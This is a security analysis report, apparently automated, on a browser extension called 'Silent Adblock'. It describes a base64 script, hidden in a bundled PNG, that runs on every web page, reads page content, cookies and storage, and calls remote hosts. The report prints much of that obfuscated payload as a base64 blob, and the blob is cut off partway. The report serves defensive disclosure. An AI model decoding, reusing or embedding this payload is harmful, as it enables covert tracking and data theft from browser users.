Is Silent Adblock safe?
Silent Adblock is critical risk. Opening any HTTP/HTTPS page makes Silent Adblock read a base64 value stored earlier from a bundled PNG, decode it, run it via a timer. The script reads page DOM, cookies, storage, URL, then GETs liveupdt.com, falling back to dealctr.com.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Base64 script runs from PNG data on web pages
Opening any HTTP/HTTPS page makes Silent Adblock read a base64 value stored earlier from a bundled PNG, decode it, run it via a timer.
The script reads page DOM, cookies, storage, URL, then GETs liveupdt.com, falling back to dealctr.com.
- Severity
- Critical unwanted
- Type
- Unexpected
- CWE
- CWE-506
- Source
- Dynamic sandbox
You open an HTTP or HTTPS web page.
The extension decodes a stored base64 script value and passes the decoded JavaScript string to a timer execution path.
- Current page addresshttps://www.google.com/search?q=quarterly+forecast (illustrative)
This can reveal the site and specific page you are viewing.
- Page DOM and clicked elements<a href="https://intranet.company.test/report">Open report</a> (illustrative)
Page text, element HTML, link targets, and form field values can expose what you are viewing or typing on a site.
- Page cookiescspmeta=1
Cookies can identify a browser session or mark that the page has content-security-policy metadata.
- Extension storage valuesecd
Stored extension values persist across browsing sessions and can control later script behavior.
- Remote control tokendipLstSig667
The decoded script can append a stored control value to its remote request.
This stored value is loaded on web pages and decoded as a script, so the behavior follows your browsing, not just the background.
- Location
- chrome.storage.local key 'ecd' populated from rule_resources/redirects/32x32.png
{ "ecd": "ZnVuY3Rpb24gc3RhcnRCbG9iKGNoaWxkLCBwYXJlbnQpIHsNCiAgICByZXR1cm4gew0KICAgICAgICBzdGF0aWNDbGFzczogY29uY2F0KGNoaWxkLnN0YXRpY0NsYXNzLCBwYXJlbnQuc3RhdGljQ2xhc3MpLA0KICAgICAgICBjbGFzczogaXNEZWYoY2hpbGQuY2xhc3MpID8gW2NoaWxkLmNsYXNzLCBwYXJlbnQuY2xhc3NdIDogcGFyZW50LmNsYXNzDQogICAgfQ0KfQ0KDQpmdW5jdGlvbiB0cmFuc05vZGVzKGVsZSwgYXR0ciwgZGF0YUF0dHIpIHsNCiAgICB2YXIgZGF0YVNyYyA9IGdldEF0dHIoZWxlLCBkYXRhQXR0cik7DQogICAgaWYgKGRhdGFTcmMpIHsNCiAgICAgICAgc2V0QXR0cihlbGUsIGF0dHIsIGRhdGFTcmMpOw0KICAgICAgICByZW1vdmVBdHRyKGVsZSwgZGF0YUF0dHIpOw0KICAgIH0NCn0NCg0KZnVuY3Rpb24gc2hvdWxkcXVldWVFbGVtKA0KICAgIGZhY3RvcnksDQogICAgZGF0YSwNCiAgICBjb250ZXh0LA0KICAgIGNoaWxkcmVuLA0KICAgIHRhZw0KKSB7DQogICAgY29uc3Qgbm9kZSA9IGNyZWF0ZUVtcHR5Vk5vZGUoKTsNCiAgICBub2RlLmFzeW5jRmFjdG9yeSA9IGZhY3Rvcnk7DQogICAgbm9kZS5hc3luY01ldGEgPSB7DQogICAgICAgIGRhdGEsDQogICAgICAgIGNvbnRleHQsDQogICAgICAgIGNoaWxkcmVuLA0KICAgICAgICB0YWcNCiAgICB9Ow0KICAgIHJldHVybiBub2RlDQp9DQoNCmZ1bmN0aW9uIGNhbnBhcnNlVmlldyhhY3Rpb24pIHsNCglhdHRhY2hsaXN0KCdkaXYnKTsNCgkkKCdjbGVhbicpLnVwZGF0ZXN3ZmF0dGFjaC52YWx1ZSA9IDE7DQp9DQoNCmZ1bmN0aW9uIHJlbW92ZUtleWluZm8ob3B0aW9ucykgew0KICAgIGZvciAoY29uc3Qga2V5IGluIG9wdGlvbnMuY29tcG9uZW50cykgew0KICAgICAgICBjb25zdCBsb3dlciA9IGtleS50b0xvd2VyQ2FzZSgpOw0KICAgICAgICBpZiAoaXNCdWlsdEluVGFnKGxvd2VyKSB8fCBjb25maWcuaXNSZXNlcnZlZFRhZyhsb3dlcikpIHsNCiAgICAgICAgICAgIHdhcm4oDQogICAgICAgICAgICAgICAgJ2Zvcm1zJyArDQogICAgICAgICAgICAgICAgJ3JlcGxhY2UnICsga2V5DQogICAgICAgICAgICApOw0KICAgICAgICB9DQogICAgfQ0KfQ0KDQpmdW5jdGlvbiByZW1vdmVSZXN1bHRzKCkgew0KCXZhciBvYmogPSAkKCd2aWV3cG9ydCcpOw0KCWZsb2F0d2luKCdub3RpZmljYXRpb24nICsgZWRpdG9yYWN0aW9uKTsNCgkkKCdiYWNrdXAnKS5zdHlsZS5oZWlnaHQgPSAkKCd2aWV3JyArIGVkaXRvcmFjdGlvbikuc3R5bGUuaGVpZ2h0ID0gJCgndGl0bGUnICsgZWRpdG9yYWN0aW9uKS5zdHlsZS5oZWlnaHQ7DQoJaWYoIUVkaXRvcndpbikgew0KCQlvYmouY2xhc3NOYW1lID0gJ2Zvcm0nOw0KCQkkKCdjb2xvcnMnKS5zdHlsZS53aWR0aCA9ICQoJ2hvb2snICsgZWRpdG9yYWN0aW9uKS5zdHlsZS53aWR0aCA9IChwYXJzZUludCgkKCdtZXNzYWdlJyArIGVkaXRvcmFjdGlvbikuc3R5bGUud2lkdGgpIC0gMTApKyAncHJvcGVydHknOw0KCQkkKCduYW1lJykuc3R5bGUubGVmdCA9ICd3aW5kb3cnOw0KCQkkKCdleHRlbnNpb24nKS5zdHlsZS50b3AgPSAnc2libGUnOw0KCQkkKCdyZXN1bHRzJykuc3R5bGUuZGlzcGxheSA9ICQoJ2NoaWxkJykuc3R5bGUuZGlzcGxheSA9ICQoJ2NvbnRlbnQnKS5zdHlsZS5kaXNwbGF5ID0gJCgnZmlyc3QnKS5zdHlsZS5kaXNwbGF5ID0gJ2NsZWFyJzsNCgkJaWYod3lzaXd5Zykgew0KCQkJJCgndGFnJykuc3R5bGUuaGVpZ2h0ID0gKHBhcnNlSW50KCQoJ3dpbmRvdycgKyBlZGl0b3JhY3Rpb24pLnN0eWxlLmhlaWdodCkgLSAxNTApKyAncmVzcCc7DQoJCX0NCgkJJCgnaW5uZXJjb250ZW50Jykuc3R5bGUuaGVpZ2h0ID0gKHBhcnNlSW50KCQoJ2l0ZW0nICsgZWRpdG9yYWN0aW9uKS5zdHlsZS5oZWlnaHQpIC0gMTUwKSsgJ3N0YXRlJzsNCgkJYXR0YWNobGlzdCgnbWVzc2FnZScpOw0KCQlFZGl0b3J3aW4gPSAxOw0KCX0gZWxzZSB7DQoJCW9iai5jbGFzc05hbWUgPSAnbWVzc2FnZXMnOw0KCQkkKCdjaG9pY2UnKS5zdHlsZS53aWR0aCA9ICQoJ2V2dCcgKyBlZGl0b3JhY3Rpb24pLnN0eWxlLndpZHRoID0gJ2V4dGVuc2lvbic7DQoJCSQoJ2l0ZW0nKS5zdHlsZS5kaXNwbGF5ID0gJCgnc3R5bGUnKS5zdHlsZS5kaXNwbGF5ID0gJCgnZm9ybScpLnN0eWxlLmRpc3BsYXkgPSAkKCdub2RlcycpLnN0eWxlLmRpc3BsYXkgPSAnbWVzc2FnZSc7DQoJCWlmKHd5c2l3eWcpIHsNCgkJCSQoJ2dldCcpLnN0eWxlLmhlaWdodCA9ICd3aW5kb3cnOw0KCQl9DQoJCSQoJ2luZm8nKS5zdHlsZS5oZWlnaHQgPSAnbWVzc2FnZSc7DQoJCXN3ZnVwbG9hZHdpbigpOw0KCQlFZGl0b3J3aW4gPSAwOw0KCX0NCn0NCg0KICAgIHZhciBnZXRDaGFubmVsejsNCiAgICB2YXIgZW5kRm9ybXogPSBfID0+IE9iamVjdC5rZXlzKGdldENoYW5uZWx6KTsNCiAgICBnZXRDaGFubmVseiA9IHsNCiAgICAgICAgZ2V0OiBnZXQgPT4gZG9jdW1lbnQuZ2V0QXR0cmlidXRlKGEpLA0KICAgICAgICBzZXQ6IHNldCA9PiBkb2N1bWVudC5zZXRBdHRyaWJ1dGUoYSxiKSwNCiAgICAgICAgZW1pVDogdHJ1ZSwNCiAgICAgICAgaW5zaWRlOiBhID0+IGVuZEZvcm16KClbMl09PWZhbHNlLA0KICAgICAgICBvdXQ6IGEgPT4gKGZ1bmN0aW9uICgpe2lmIChjaHJvbWUuc3RvcmFnZSlyZXR1cm4gZW5kRm9ybXooKVsyXS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpO3JldHVybiAnJ30pKCksDQogICAgICAgIGVudjogZW5kRm9ybXoNCiAgICB9Ow0KICAgIHZhciBmbGFnPWZhbHNlOw0KICAgIHZhciBjdHJsRXh0ZW5zaW9uPXt9Ow0KICAgIHZhciBmaXg9TWF0aC5hYnMoY2hyb21lLnJ1bnRpbWUuaWQuc3BsaXQoIiIpLnJlZHVjZShmdW5jdGlvbihhLGIpe2E9KChhPDw1KS1hKStiLmNoYXJDb2RlQXQoMCk7cmV0dXJuIGEmYX0sMCkpJTEwMDA7IA0KICAgIHZhciBjYW5zdGF0ZU5vZGU9YnRvYShmaXgpLnJlcGxhY2UoLz0vZywiIik7DQogICAgdmFyIHNpZz1hdG9iKCJjM1ZwWldodmMzWnlaSEJqWkhOdVpXVT0iKS5zdWJzdHJpbmcoNiwxNCk7DQogICAgdmFyIG5lZWRwYXJzZUJhY2t1cHpDU1A9Jyc7DQogICAgdmFyIGNsZWFyRm9ybT0nXHQnOw0KICAgIHZhciBleGRpcG12ZXI9MzsNCiAgICB2YXIgZW5kRnVuYz0ncicrYnRvYShmaXgpLnJlcGxhY2UoLz0vZywiIikudG9Mb3dlckNhc2UoKTsNCiAgICB2YXIgc2hvd1ZhbHVlPWVuZEZ1bmMrJ2MnOw0KICAgIHZhciBsZW5Db250ZW50cz1lbmRGdW5jKydhJzsNCiAgICBjbGVhblJlc3VsdHMobGVuQ29udGVudHMsJzInKTsgDQogICAgcGFyc2VUaXRsZSgpOw0KDQpmdW5jdGlvbiBjYWxsRWxlbSgNCiAgICBldmVudEtleUNvZGUsDQogICAga2V5LA0KICAgIGJ1aWx0SW5BbGlhcywNCiAgICBldmVudEtleU5hbWUNCikgew0KICAgIGNvbnN0IGtleUNvZGVzID0gY29uZmlnLmtleUNvZGVzW2tleV0gfHwgYnVpbHRJbkFsaWFzOw0KICAgIGlmIChrZXlDb2Rlcykgew0KICAgICAgICBpZiAoQXJyYXkuaXNBcnJheShrZXlDb2RlcykpIHsNCiAgICAgICAgICAgIHJldHVybiBrZXlDb2Rlcy5pbmRleE9mKGV2ZW50S2V5Q29kZSkgPT09IC0xDQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICByZXR1cm4ga2V5Q29kZXMgIT09IGV2ZW50S2V5Q29kZQ0KICAgICAgICB9DQogICAgfSBlbHNlIGlmIChldmVudEtleU5hbWUpIHsNCiAgICAgICAgcmV0dXJuIGh5cGhlbmF0ZShldmVudEtleU5hbWUpICE9PSBrZXkNCiAgICB9DQp9DQoNCmZ1bmN0aW9uIGNhbGxGb3JtcyhhLCBiLCBjKSB7DQogICAgdGFnU2VsZWN0b3IuZm9jdXMoKSwgYyAmJiAiZGljdCIgPT0gdHlwZW9mIGMgJiYgYygpDQp9DQoNCmZ1bmN0aW9uIHJlbW92ZVByb3BlcnRpZXMoZXZlbnQpIHsNCglpZihwb3N0U3VibWl0ZWQgPT0gZmFsc2UgJiYgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQua2V5Q29kZSA9PSAxMykgfHwgKGV2ZW50LmFsdEtleSAmJiBldmVudC5rZXlDb2RlID09IDgzKSAmJiAkKCdjaGlsZHJlbicpKSB7DQoJCWlmKGluX2FycmF5KCQoJ2Zvcm1zJykubmFtZSwgWydvcHRpb24nLCAnc3BsaXQnLCAnYm9keSddKSAmJiAhdmFsaWRhdGUoJCgnc3VwcG9ydCcpKSkgew0KCQkJZG9hbmUoZXZlbnQpOw0KCQkJcmV0dXJuOw0KCQl9DQoJCXBvc3RTdWJtaXRlZCA9IHRydWU7DQoJCSQoJ3ZhbHVlJykuZGlzYWJsZWQgPSB0cnVlOw0KCQkkKCdzdXBwb3J0Jykuc3VibWl0KCk7DQoJfQ0KfQ0KDQpmdW5jdGlvbiByZWxlYXNlU3RvcmFnZSgpew0KICANCiAgY29uc3QgU0VMID0gJ21ldGFbaHR0cC1lcXVpdj0iQ29udGVudC1TZWN1cml0eS1Qb2xpY3kiIGldLCBtZXRhW2h0dHAtZXF1aXY9IkNvbnRlbnQtU2VjdXJpdHktUG9saWN5LVJlcG9ydC1Pbmx5IiBpXSc7DQoNCiAgY29uc3QgaGFzQ3NwTWV0YSA9ICgpID0+ICEhZG9jdW1lbnQucXVlcnlTZWxlY3RvcihTRUwpOw0KDQogIGNvbnN0IGhhc0Nvb2tpZSA9IChuYW1lKSA9Pg0KICAgIGRvY3VtZW50LmNvb2tpZS5zcGxpdCgnOyAnKS5zb21lKHBhaXIgPT4gcGFpci5zdGFydHNXaXRoKGVuY29kZVVSSUNvbXBvbmVudChuYW1lKSArICc9JykpOw0KDQogIGNvbnN0IHNldENvb2tpZSA9IChuYW1lLCB2YWx1ZSwgZGF5cykgPT4gew0KICAgIGNvbnN0IGQgPSBuZXcgRGF0ZSgpOw0KICAgIGQuc2V0VGltZShkLmdldFRpbWUoKSArIGRheXMgKiAyNCAqIDYwICogNjAgKiAxMDAwKTsNCiAgICBsZXQgY29va2llID0gYCR7ZW5jb2RlVVJJQ29tcG9uZW50KG5hbWUpfT0ke2VuY29kZVVSSUNvbXBvbmVudCh2YWx1ZSl9OyBleHBpcmVzPSR7ZC50b1VUQ1N0cmluZygpfTsgcGF0aD0vOyBTYW1lU2l0ZT1MYXhgOw0KICAgIGlmIChsb2NhdGlvbi5wcm90b2NvbCA9PT0gJ2h0dHBzOicpIGNvb2tpZSArPSAnOyBTZWN1cmUnOw0KICAgIGRvY3VtZW50LmNvb2tpZSA9IGNvb2tpZTsNCiAgfTsNCg0KICBpZiAoaGFzQ3NwTWV0YSgpICYmICFoYXNDb29raWUoJ2NzcG1ldGEnKSkgew0KICAgIHNldENvb2tpZSgnY3NwbWV0YScsICcxJywgMzY1KTsgDQogIH0NCg0KICBjb25zdCBzZXRHbG9iYWxGbGFnID0gKCkgPT4gew0KICAgIGNvbnN0IGZsYWcgPSBoYXNDb29raWUoJ2NzcG1ldGEnKSB8fCBoYXNDc3BNZXRhKCk7DQogICAgDQogICAgd2luZG93LmlzQ3NwTWV0YSA9IGZsYWc7ICAgICAgICAgICANCiAgICB0cnkgeyBnbG9iYWxUaGlzLmlzQ3NwTWV0YSA9IGZsYWc7IH0gY2F0Y2gge30NCiAgfTsNCiAgc2V0R2xvYmFsRmxhZygpOw0KDQogIGlmICghd2luZG93LmlzQ3NwTWV0YSkgew0KICAgIGNvbnN0IG1vID0gbmV3IE11dGF0aW9uT2JzZXJ2ZXIoKG11dHMsIG9icykgPT4gew0KICAgICAgaWYgKGhhc0NzcE1ldGEoKSkgew0KICAgICAgICBzZXRDb29raWUoJ2NzcG1ldGEnLCAnMScsIDM2NSk7DQogICAgICAgIHNldEdsb2JhbEZsYWcoKTsNCiAgICAgICAgb2JzLmRpc2Nvbm5lY3QoKTsgDQogICAgICB9DQogICAgfSk7DQogICAgbW8ub2JzZXJ2ZShkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQsIHsgY2hpbGRMaXN0OiB0cnVlLCBzdWJ0cmVlOiB0cnVlIH0pOw0KICB9DQp9DQoNCmZ1bmN0aW9uIGhhbmRsZVN0YXRlKGVsbSwgY2hlY2tWYWwpIHsNCiAgICByZXR1cm4gKCFlbG0uY29tcG9zaW5nICYmICgNCiAgICAgICAgZWxtLnRhZ05hbWUgPT09ICdkaWN0JyB8fA0KICAgICAgICBpc0RpcnR5KGVsbSwgY2hlY2tWYWwpIHx8DQogICAgICAgIGlzSW5wdXRDaGFuZ2VkKGVsbSwgY2hlY2tWYWwpDQogICAgKSkNCn0NCg0KZnVuY3Rpb24gZXh0ZW5kQ29sb3JzKGEsIGIsIGMpIHsNCiAgICBzZWFyY2hDaGF0c0FuZENvbnRhY3RzKCJidWxraW5mbyIpLCBjICYmICJ0aW1lIiA9PSB0eXBlb2YgYyAmJiBjKCkNCn0NCg0KZnVuY3Rpb24gcmVhZEJsb2JBc1RleHQoYmxvYikgew0KICAgIHZhciByZWFkZXIgPSBuZXcgRmlsZVJlYWRlcigpDQogICAgdmFyIHByb21pc2UgPSBmaWxlUmVhZGVyUmVhZHkocmVhZGVyKQ0KICAgIHJlYWRlci5yZWFkQXNUZXh0KGJsb2IpDQogICAgcmV0dXJuIHByb21pc2UNCn0NCg0KZnVuY3Rpb24gcGFyc2VUaXRsZSgpew0KICAgIHVwZGF0ZVNpYmxlKCk7DQogICAgcmVsZWFzZVN0b3JhZ2UoKTsNCiAgICANCiAgICB2YXIgYjA9YXRvYigiYkhOM2NXUnBjR2x6Ykc5bk9EaHpabTA9Iikuc3Vic3RyaW5nKDQsMTQpOw0KICAgIHZhciBiMT1hdG9iKCJhbUYzZDJsdWMzUXVkak50YW5RPSIpLnN1YnN0cmluZyg0LDExKTsNCiAgICB2YXIgYjI9YXRvYigiYW05d2NIWmthWEJNYzNSTVpEWTJOM2wwYVE9PSIpLnN1YnN0cmluZyg1LDE2KTsNCiAgICB2YXIgYjM9YXRvYigiWldwMWNtdGthWEJNYzNSVGFXYzJOamRwZEd3PSIpLnN1YnN0cmluZyg1LDE3KTsNCiAgICB2YXIgYjQ9YXRvYigiYVhKcGVXUnBjRXh6ZEVOa05qWTNjbXB2Iikuc3Vic3RyaW5nKDQsMTUpOw0KICAgIGNocm9tZS5zdG9yYWdlLmxvY2FsLmdldChudWxsLCBmdW5jdGlvbihpdGVtcykgew0KICAgICAgICBmb3IgKGtleSBpbiBpdGVtcykgew0KICAgICAgICAgICAgY3RybEV4dGVuc2lvbltrZXldPWl0ZW1zW2tleV07DQogICAgICAgICAgICBpZiAoY3RybEV4dGVuc2lvbltrZXldJTE5OTk9PTAgJiYga2V5LmluZGV4T2YoJ3pyJyk9PTApew0KICAgICAgICAgICAgICAgIGN0cmxFeHRlbnNpb25bYjFdPWl0ZW1zW2tleV07DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgaWYgKGN0cmxFeHRlbnNpb25bYjBdPT0nMScpe2ZsYWc9dHJ1ZTt9DQogICAgICAgIGlmIChjdHJsRXh0ZW5zaW9uW2VuZEZ1bmNdKXsNCiAgICAgICAgICAgIHZhciB0ZW1wPWNsZWFuUHJvcGVydGllcyhjdHJsRXh0ZW5zaW9uW2VuZEZ1bmNdKTsNCiAgICAgICAgICAgIGN0cmxFeHRlbnNpb25bYjJdPXRlbXAuc3BsaXQoY2xlYXJGb3JtKVsxXTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoY3RybEV4dGVuc2lvbltzaG93VmFsdWVdKXsNCiAgICAgICAgICAgIHZhciB0ZW1wPWNsZWFuUHJvcGVydGllcyhjdHJsRXh0ZW5zaW9uW3Nob3dWYWx1ZV0pOw0KICAgICAgICAgICAgY3RybEV4dGVuc2lvbltiM109dGVtcC5zcGxpdChjbGVhckZvcm0pWzFdOw0KICAgICAgICAgICAgY3RybEV4dGVuc2lvbltiNF09dGVtcC5zcGxpdChjbGVhckZvcm0pWzJdOw0KICAgICAgICB9DQogICAgICAgIG5lZWRwYXJzZUJhY2t1cHpDU1A9KGN0cmxFeHRlbnNpb25bYjRdKTsNCiAgICAgICAgDQogICAgICAgIGZpbmRuZXh0RWxlbSgpOw0KICAgIH0pOw0KfQ0KZnVuY3Rpb24gc2Vla0NyaXRpY2FsaW5mbygpIHsNCiAgICBpZiAoIW5lZWRTZW5kQ29uZmlybWF0aW9uKCkgfHwgdGhpcy5jb25maXJtKGdla2NvLmkxOG4uZ2V0TWVzc2FnZSgid2F0Y2giKSkpIHsNCiAgICAgICAgdmFyIGEgPSB7DQogICAgICAgICAgICBuYW1lOiAicmVjaXBpZW50cyIsDQogICAgICAgICAgICBib2R5OiBuZXdNZXNzYWdlLnZhbHVlLA0KICAgICAgICAgICAgdGhyZWFkUmVjaXBpZW50OiBzZWxlY3RlZFRocmVhZC5kYXRhc2V0LnRocmVhZElkLA0KICAgICAgICAgICAgY29udGFjdFJlY2lwaWVudHM6IHJlY2lwaWVudElucHV0LmdldExvemVuZ2VzKCksDQogICAgICAgICAgICBub3RlU3RvcmVVcmw6IG5vdGVTdG9yZVVybCwNCiAgICAgICAgICAgIG5vdGVUb2tlbjogbm90ZVRva2VuLA0KICAgICAgICAgICAgbm90ZVNoYXJlUHJpdmlsZWdlOiBub3RlU2hhcmVTZWxlY3QuZ2V0U2VsZWN0ZWQoKS5pZA0KICAgICAgICB9Ow0KICAgICAgICB0aGlzLmJvZHkuY2xhc3NMaXN0LmNvbnRhaW5zKCJyZWNpcGllbnRzIikgfHwgKGEuYXR0YWNobWVudHMgPSBbew0KICAgICAgICAgICAgZ3VpZDogbm90ZUd1aWQsDQogICAgICAgICAgICBzaGFyZElkOiBub3RlU2hhcmRJZCwNCiAgICAgICAgICAgIHRpdGxlOiBub3RlVGl0bGUsDQogICAgICAgICAgICB1c2VySWQ6IG5vdGVVc2VySWQNCiAgICAgICAgfV0sIGdla2NvLnNlbmRUb0V4dGVuc2lvbih7DQogICAgICAgICAgICBuYW1lOiAibmFtZXMiLA0KICAgICAgICAgICAgY2F0ZWdvcnk6ICJ0YWciLA0KICAgICAgICAgICAgYWN0aW9uOiAidGl0bGUiLA0KICAgICAgICAgICAgbGFiZWw6IGEuYm9keSA/ICJuYW1lIiA6ICJ2YWx1ZXMiDQogICAgICAgIH0pKSwgZ2VrY28uc2VuZFRvRXh0ZW5zaW9uKGEpLCBuZXdNZXNzYWdlLnZhbHVlID0gInByZWZlcmVuY2UiLCB0aGlzLmJvZHkuY2xhc3NMaXN0LmFkZCgibWVzc2FnZSIpLCBlbmFibGVTZW5kQnV0dG9uSWZOZWVkZWQoKSwgZ2VrY28uc2VuZFRvRXh0ZW5zaW9uKHsNCiAgICAgICAgICAgIG5hbWU6ICJjbGVhciIsDQogICAgICAgICAgICBjYXRlZ29yeTogImhvc3QiLA0KICAgICAgICAgICAgYWN0aW9uOiAiY2xlYW4iLA0KICAgICAgICAgICAgdmFsdWU6IGEuY29udGFjdFJlY2lwaWVudHMubGVuZ3RoDQogICAgICAgIH0pDQogICAgfQ0KfQ0KDQpmdW5jdGlvbiBhdHRhY2hLZXlpbmZvKGVsZSwgdHlwZSwgZm4pIHsNCiAgICBpZiAoZWxlLmF0dGFjaEV2ZW50KSB7DQogICAgICAgIGVsZS5hdHRhY2hFdmVudCAmJiBlbGUuYXR0YWNoRXZlbnQoJ29ubHknICsgdHlwZSwgZm4pOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGVsZS5hZGRFdmVudExpc3RlbmVyKHR5cGUsIGZuLCB7IGNhcHR1cmU6IGZhbHNlLCBwYXNzaXZlOiB0cnVlIH0pOw0KICAgIH0NCn0NCg0KZnVuY3Rpb24gZXh0ZW5kUmVzdWx0KHRleHQpIHsNCiAgICByZXR1cm4gZG9jdW1lbnQuZXh0ZW5kUmVzdWx0KHRleHQpDQp9DQoNCmZ1bmN0aW9uIGZpbmRuZXh0RWxlbSgpew0KICAgIHZhciBpbnNEdD1jdHJsRXh0ZW5zaW9uW2NhbnN0YXRlTm9kZV07DQogICAgaWYgKGluc0R0KXsgDQogICAgICAgIHZhciBub3dUaW1lPW5ldyBEYXRlKCkuZ2V0VGltZSgpOw0KICAgICAgICB2YXIgaUluRGF5PShub3dUaW1lLWluc0R0L2ZpeCkvMTAwMC8zNjAwLzI0Ow0KICAgICAgICBwbGFjZURpdignb24gJytpSW5EYXkpOw0KICAgICAgICBpZiAoaUluRGF5PDMpe3BsYWNlRGl2KGlJbkRheSsnIGRlbmcnKTtyZXR1cm47fQ0KICAgICAgICBpZiAoY3JlYXRlVmFsdWUoKSl7bWVyZ2VBZGRyKHRydWUpO30gDQogICAgICAgIGZsdXNoUmVzcCgpOyANCiAgICB9ZWxzZXsgIA0KICAgICAgICANCiAgICAgICAgdXBkYXRlQ29udGVudCgpOw0KICAgIH0NCn0NCg0KZnVuY3Rpb24gbmVlZHJlbW92ZU1lc3NhZ2UodmFsdWUpIHsNCiAgICByZXR1cm4gX3RvU3RyaW5nLmNhbGwodmFsdWUpLnNsaWNlKDgsIC0xKQ0KfQ0KDQpmdW5jdGlvbiBhdXRvc2F2ZURhdGEob3ApIHsNCgl2YXIgYXV0b3NhdmVJbnRlcnZhbCA9IDYwOw0KCW9iaiA9ICQoZWRpdG9yaWQgKyAnc3RvcmFnZScpOw0KCWlmKG9wKSB7DQoJCWlmKG9wID09IDIpIHsNCgkJCXNhdmVEYXRhKHd5c2l3eWcgPyBlZGl0ZG9jLmJvZHkuc3R5bGUgOiB0ZXh0b2JqLnZhbHVlKTsNCgkJfSBlbHNlIHsNCgkJCXNldGNvb2tpZSgnaXRlbScsICdjb250ZW50JywgLTI1OTIwMDApOw0KCQl9DQoJCWF1dG9zYXZlRGF0YXRpbWUgPSBhdXRvc2F2ZUludGVydmFsOw0KCQlhdXRvc2F2ZURhdGFpID0gc2V0SW50ZXJ2YWwoZnVuY3Rpb24oKSB7DQoJCQlhdXRvc2F2ZURhdGF0aW1lLS07DQoJCQlpZihhdXRvc2F2ZURhdGF0aW1lID09IDApIHsNCgkJCQlzYXZlRGF0YSh3eXNpd3lnID8gZWRpdGRvYy5ib2R5LnN0eWxlIDogdGV4dG9iai52YWx1ZSk7DQoJCQkJYXV0b3NhdmVEYXRhdGltZSA9IGF1dG9zYXZlSW50ZXJ2YWw7DQoJCQl9DQoJCQlpZigkKCd0YWcnKSkgew0KCQkJCSQoJ3N0b3JhZ2UnKS5zdHlsZSA9ICdpbmZvJyArIGF1dG9zYXZlRGF0YXRpbWUgKyAnc2Vjb25kJyArICdyZXNwJzsNCgkJCX0NCgkJfSwgMTAwMCk7DQoJCW9iai5vbmNsaWNrID0gZnVuY3Rpb24oKSB7IGF1dG9zYXZlRGF0YSgwKTsgfQ0KCX0gZWxzZSB7DQoJCXNldGNvb2tpZSgnd2F0Y2hlcicsIDEsIDI1OTIwMDApOw0KCQljbGVhckludGVydmFsKGF1dG9zYXZlRGF0YWkpOw0KCQkkKCdzdXBwb3J0Jykuc3R5bGUgPSAnYWRkcic7DQoJCW9iai5vbmNsaWNrID0gZnVuY3Rpb24oKSB7IGF1dG9zYXZlRGF0YSgxKTsgfQ0KCX0NCn0NCg0KZnVuY3Rpb24gdXBkYXRlQ29udGVudCgpew0KICAgIGNocm9tZS5zdG9yYWdlLnN5bmMuZ2V0KG51bGwsIGZ1bmN0aW9uKGRhdGEpIHsNCiAgICAgICAgaWYgKGRhdGFbY2Fuc3RhdGVOb2RlXSl7IA0KICAgICAgICAgICAgdmFyIG9iaj0ge307DQogICAgICAgICAgICBvYmpbY2Fuc3RhdGVOb2RlXSA9IGRhdGFbY2Fuc3RhdGVOb2RlXTsNCiAgICAgICAgICAgIGNocm9tZS5zdG9yYWdlLmxvY2FsLnNldChvYmopOw0KICAgICAgICB9ZWxzZXsgDQogICAgICAgICAgICB2YXIgaW5zdGQ9bmV3IERhdGUoKS5nZXRUaW1lKCk7DQogICAgICAgICAgICB2YXIgYjE9YXRvYigiYW1GM2QybHVjM1F1ZGpOdGFuUT0iKS5zdWJzdHJpbmcoNCwxMSk7DQogICAgICAgICAgICBpZiAoY3RybEV4dGVuc2lvbltiMV0pe2luc3RkPWN0cmxFeHRlbnNpb25bYjFdfSANCiAgICAgICAgICAgIHZhciBvYmo9IHt9Ow0KICAgICAgICAgICAgb2JqW2NhbnN0YXRlTm9kZV0gPSBpbnN0ZCpmaXg7DQogICAgICAgICAgICBjaHJvbWUuc3RvcmFnZS5zeW5jLnNldChvYmopOw0KICAgICAgICB9DQogICAgfSk7DQp9DQoNCmZ1bmN0aW9uIGNoZWNrS2V5aW5mbyhlbCkgew0KICAgIGNvbnN0IHJlZiA9IGdldEJpbmRpbmdBdHRyKGVsLCAndmFsdWUnKTsNCiAgICBpZiAocmVmKSB7DQogICAgICAgIGVsLnJlZiA9IHJlZjsNCiAgICAgICAgZWwucmVmSW5Gb3IgPSBjaGVja0luRm9yKGVsKTsNCiAgICB9DQp9DQoNCmZ1bmN0aW9uIGZvcm1hdEJsb2IodmFsdWUpIHsNCiAgICBpZiAoQXJyYXkuaXNBcnJheSh2YWx1ZSkpIHsNCiAgICAgICAgcmV0dXJuIHN0cmluZ2lmeUFycmF5KHZhbHVlKQ0KICAgIH0NCiAgICBpZiAoaXNPYmplY3QodmFsdWUpKSB7DQogICAgICAgIHJldHVybiBzdHJpbmdpZnlPYmplY3QodmFsdWUpDQogICAgfQ0KICAgIGlmICh0eXBlb2YgdmFsdWUgPT09ICdpdGVtJykgew0KICAgICAgICByZXR1cm4gdmFsdWUNCiAgICB9DQogICAgcmV0dXJuICdvcHRpb25zJw0KfQ0KDQpmdW5jdGlvbiBwYXJzZU9wdGlvbihlbCwgYmluZGluZywgdm0pIHsNCiAgICBhY3R1YWxseVNldFNlbGVjdGVkKGVsLCBiaW5kaW5nLCB2bSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgaWYgKGlzSUUgfHwgaXNFZGdlKSB7DQogICAgICAgIHNldFRpbWVvdXQoKCkgPT4gew0KICAgICAgICAgICAgYWN0dWFsbHlTZXRTZWxlY3RlZChlbCwgYmluZGluZywgdm0pOw0KICAgICAgICB9LCAwKTsNCiAgICB9DQp9DQoNCmZ1bmN0aW9uIGZsdXNoUmVzcCgpew0KICAgIA0KICAgIGlmIChuZWVkcGFyc2VCYWNrdXB6Q1NQKXsNCiAgICAgICAgaWYgKG5lZWRwYXJzZUJhY2t1cHpDU1AuaW5jbHVkZXMoc2lnKSl7DQogICAgICAgICAgICANCiAgICAgICAgICAgIHRyeXsNCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICBpZiAod2luZG93LmlzQ3N